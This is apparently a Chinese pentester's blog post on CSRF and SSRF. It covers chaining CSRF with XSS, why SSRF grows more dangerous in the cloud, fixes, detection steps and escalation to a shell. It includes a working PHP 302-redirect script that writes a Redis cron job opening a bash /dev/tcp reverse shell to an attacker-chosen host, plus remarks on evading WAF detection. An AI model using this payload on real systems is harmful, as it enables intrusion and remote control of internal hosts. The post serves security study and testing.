ssrf与csrf

本文的预计目标是写一写SSRF和CSRF

因为CSRF整体内容较少，所以就混进来了！

CSRF部分

CSRF个人认为比较有威胁的就要数后台页面CSRF或者XSRF了。

CSRF本身的利用难点应该是如何让目标同时开启攻击与受害两个页面，并且攻击有效目标。

目前我还没有用这种方式成功利用过，所以对我来说是处于理论可实现部分。

XSRF危害要大一些，典型的一加一大于二。

可以利用CSRF触发xss，也可以利用XSS触发CSRF，利用的有效性较高，互动性小，并且某些情况下可以形成静默攻击，也不容易被waf阻拦（前提是xssbypass成功先。）

常见的csrf的验证与绕过就说对于服务器是否存在相应验证进行一个尝试就好了，是一个相对简单的漏洞。

由于一般危害也属于低危，所以需要联合利用。

CSRF部分就到这里了，个人关注CSRF并不是很多，所以目前止步于此。

SSRF

ssrf可能是接下来几年热门度灰有所提高的一种漏洞，起码在HW等项目中利用的频率和危害应当会显著提高。

原因就是目前众多企业与集团的建设越发向云迁移，而云上若是业务或主机隔离没有非常完善的话，常规的ssrf会造成严重危害，基本上所有的ssrf威胁都会提高一个等级。

之后有时间我会专门做一些关于waf与流量检测在何种使用频率下对于ssrf的检测效率最低，也就说总体流量，报错率与攻击频率隐藏程度的关系，降低我们现在的以高爆发高回复形式的数据获取带来的弊端，当然这只是一个思考方向，因为进行内网探测时候动作比较大，提高危害说主要目的。

首先说修复建议，修复建议主要是亮点，一是将服务的请求接口放置在外网区域并且进行隔断，防止出现漏洞时候能够进行跳板攻击。

二是建立白名单机制，只允许对指定的资源进行请求，但是这个和业务相关，不一定可以采纳。

三是最底层建议就是将利用协议全部屏蔽，但是黑名单机制永远存在风险，这是问题点。

查找方式就是找到进行资源请求的点，然后将其资源请求的目标换成一个可控目标，确定其是否存在漏洞，然后针对性进行协议检测，得到是否可以进一步利用。

进一步利用之后，就是getshell，这个和开放的协议有关。

再之后便是内网漫游.jpg

如果不是多种漏洞结合的情况，常规的步骤是固定的，一般会搭配302跳转，建议自建服务器进行测试，可以有效提高检测效率。

当然前提是外网勘测。

也可以利用dnslog。

以下是常用的固定脚本。

302页面

<?php

$ip = $_GET['ip'];

$port = $_GET['port'];

$bhost = $_GET['bhost'];

$bport = $_GET['bport'];

$scheme = $_GET['s'];

header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");

?>

显然重点就是改一下header用来改变攻击点。

脚本先不贴了，脚本分为检测脚本和利用脚本，多数是不用协议的fuzzing，可以写一个模板然后改，但是我本身用工具多一些，自己也没有写233，确实写的也不全。（ssrfmap蛮好用的，可以试试，ssrfx也有被推荐过）

csrf与ssrf属于偏低危漏洞范畴，但是所有漏洞都有通向getshell的一个台阶。